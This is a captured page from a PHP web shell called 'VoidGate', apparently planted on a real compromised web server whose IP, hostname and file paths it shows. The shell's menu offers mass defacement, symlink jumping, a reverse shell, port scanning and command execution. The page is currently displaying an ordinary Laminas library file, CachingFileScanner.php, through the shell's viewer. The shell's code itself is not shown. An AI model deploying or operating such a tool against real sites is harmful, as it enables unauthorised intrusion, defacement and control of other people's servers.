ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
laminas
/
laminas-code
/
src
/
Scanner
/
Viewing: CachingFileScanner.php
<?php /** * @see https://github.com/laminas/laminas-code for the canonical source repository * @copyright https://github.com/laminas/laminas-code/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-code/blob/master/LICENSE.md New BSD License */ namespace Laminas\Code\Scanner; use Laminas\Code\Annotation\AnnotationManager; use Laminas\Code\Exception; use Laminas\Code\NameInformation; use function file_exists; use function md5; use function realpath; use function spl_object_hash; use function sprintf; class CachingFileScanner extends FileScanner { /** * @var array */ protected static $cache = []; /** * @var null|FileScanner */ protected $fileScanner; /** * @param string $file * @param AnnotationManager $annotationManager * @throws Exception\InvalidArgumentException */ public function __construct($file, AnnotationManager $annotationManager = null) { if (! file_exists($file)) { throw new Exception\InvalidArgumentException(sprintf( 'File "%s" not found', $file )); } $file = realpath($file); $cacheId = md5($file) . '/' . (isset($annotationManager) ? spl_object_hash($annotationManager) : 'no-annotation'); if (isset(static::$cache[$cacheId])) { $this->fileScanner = static::$cache[$cacheId]; } else { $this->fileScanner = new FileScanner($file, $annotationManager); static::$cache[$cacheId] = $this->fileScanner; } } /** * @return void */ public static function clearCache() { static::$cache = []; } /** * @return AnnotationManager */ public function getAnnotationManager() { return $this->fileScanner->getAnnotationManager(); } /** * @return array|null|string */ public function getFile() { return $this->fileScanner->getFile(); } /** * @return null|string */ public function getDocComment() { return $this->fileScanner->getDocComment(); } /** * @return array */ public function getNamespaces() { return $this->fileScanner->getNamespaces(); } /** * @param null|string $namespace * @return array|null */ public function getUses($namespace = null) { return $this->fileScanner->getUses($namespace); } /** * @return array */ public function getIncludes() { return $this->fileScanner->getIncludes(); } /** * @return array */ public function getClassNames() { return $this->fileScanner->getClassNames(); } /** * @return array */ public function getClasses() { return $this->fileScanner->getClasses(); } /** * @param int|string $className * @return ClassScanner */ public function getClass($className) { return $this->fileScanner->getClass($className); } /** * @param string $className * @return bool|null|NameInformation */ public function getClassNameInformation($className) { return $this->fileScanner->getClassNameInformation($className); } /** * @return array */ public function getFunctionNames() { return $this->fileScanner->getFunctionNames(); } /** * @return array */ public function getFunctions() { return $this->fileScanner->getFunctions(); } }
Coded With 💗 by
0x6ick